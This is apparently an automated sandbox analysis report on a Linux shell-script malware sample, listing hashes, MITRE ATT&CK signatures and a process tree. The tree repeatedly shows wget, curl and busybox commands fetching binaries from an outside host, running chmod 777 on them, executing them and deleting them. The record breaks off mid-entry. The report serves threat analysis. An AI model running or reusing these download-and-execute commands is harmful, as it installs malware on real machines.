cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c

Analysis

max time kernel
105s
max time network
134s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/10/2024, 02:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
Size 10KB
Sample241029-deemca1mfj
SHA256 cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c
MD5 34f662417bf176ca742244f75842429b
SHA1 527b928ad8dfe41ae5ebe3e805c24d0c00064172
SHA512 d58745b879cdc6f90dfbee48355106feb3f4bcc80538514c1f7c9644850d828cb4480dd8c92883e689d25e60ac01b5256040d241383ab796148fe157401b6550
SSDEEP 96:YosPP6yxGUY2UxpA/TT5yKin6ddiKCMLC9C9CbaPLXrgLpBRL99qLmWWGpSqrTLI:YtTsn8+YYbaPwl2GGt5YYbaDGlngUnG
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
735	chmod
913	chmod
958	chmod
845	chmod
853	chmod
882	chmod
867	chmod
973	chmod
995	chmod
987	chmod
1003	chmod
874	chmod
942	chmod
966	chmod
890	chmod
898	chmod
905	chmod
935	chmod
742	chmod
794	chmod
837	chmod
1010	chmod
860	chmod
928	chmod
950	chmod
921	chmod
980	chmod
1017	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
852	busybox
889	busybox
920	busybox
941	busybox
946	wget
970	curl
786	busybox
842	curl
1006	wget
979	busybox
986	busybox
927	busybox
972	busybox
983	wget
992	curl
844	busybox
863	wget
866	busybox
871	curl
1007	curl
1009	busybox
1016	busybox
741	busybox
857	curl
798	wget
934	busybox
991	wget
746	wget
747	curl
963	curl
1013	wget
902	curl
984	curl
879	curl
931	wget
962	wget
999	wget
850	curl
864	curl
901	wget
904	busybox
918	curl
947	curl
965	busybox
836	busybox
878	wget
932	curl
949	busybox
1002	busybox
856	wget
917	wget
909	wget
925	curl
994	busybox
859	busybox
897	busybox
887	curl
894	wget
969	wget
727	curl
841	wget
912	busybox
976	wget
739	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY	curl
File opened for modification	/tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA	curl
File opened for modification	/tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8	curl
File opened for modification	/tmp/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p	curl
File opened for modification	/tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC	curl
File opened for modification	/tmp/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF	curl
File opened for modification	/tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui	curl
File opened for modification	/tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h	curl
File opened for modification	/tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA	curl
File opened for modification	/tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC	curl
File opened for modification	/tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8	curl
File opened for modification	/tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS	curl
File opened for modification	/tmp/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p	curl
File opened for modification	/tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z	curl
File opened for modification	/tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie	curl
File opened for modification	/tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG	curl
File opened for modification	/tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv	curl
File opened for modification	/tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS	curl
File opened for modification	/tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG	curl
File opened for modification	/tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK	curl
File opened for modification	/tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui	curl
File opened for modification	/tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z	curl
File opened for modification	/tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK	curl
File opened for modification	/tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv	curl
File opened for modification	/tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h	curl
File opened for modification	/tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY	curl
File opened for modification	/tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie	curl
File opened for modification	/tmp/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF	curl

/tmp/cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
/tmp/cae24d9d229f447e09bee1f6ebe392d45986a77188455ec4abf57f263d86b23c.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  PID:734
- /bin/chmod
  chmod 777 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  ./20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  PID:737
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod 777 OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  ./OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - System Network Configuration Discovery
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - System Network Configuration Discovery
  PID:786
- /bin/chmod
  chmod 777 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  ./4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
  2⤵
  PID:797
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - System Network Configuration Discovery
  PID:798
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - System Network Configuration Discovery
  PID:836
- /bin/chmod
  chmod 777 kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  ./kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
  2⤵
  PID:840
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - System Network Configuration Discovery
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - System Network Configuration Discovery
  PID:844
- /bin/chmod
  chmod 777 O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  ./O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  ./uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  ./yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  ./3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  PID:873
- /bin/chmod
  chmod 777 EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  ./EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  PID:881
- /bin/chmod
  chmod 777 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  ./4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  ./u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  ./2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  ./HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/chmod
  chmod 777 JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  ./JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  ./2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  ./EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  ./4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  ./u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - System Network Configuration Discovery
  PID:949
- /bin/chmod
  chmod 777 HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  ./HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  PID:957
- /bin/chmod
  chmod 777 JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  ./JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm JUE4bZtGo7FUmoKA9u1BUF0BQUaFkW8y9p
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - System Network Configuration Discovery
  PID:965
- /bin/chmod
  chmod 777 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  ./20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - System Network Configuration Discovery
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
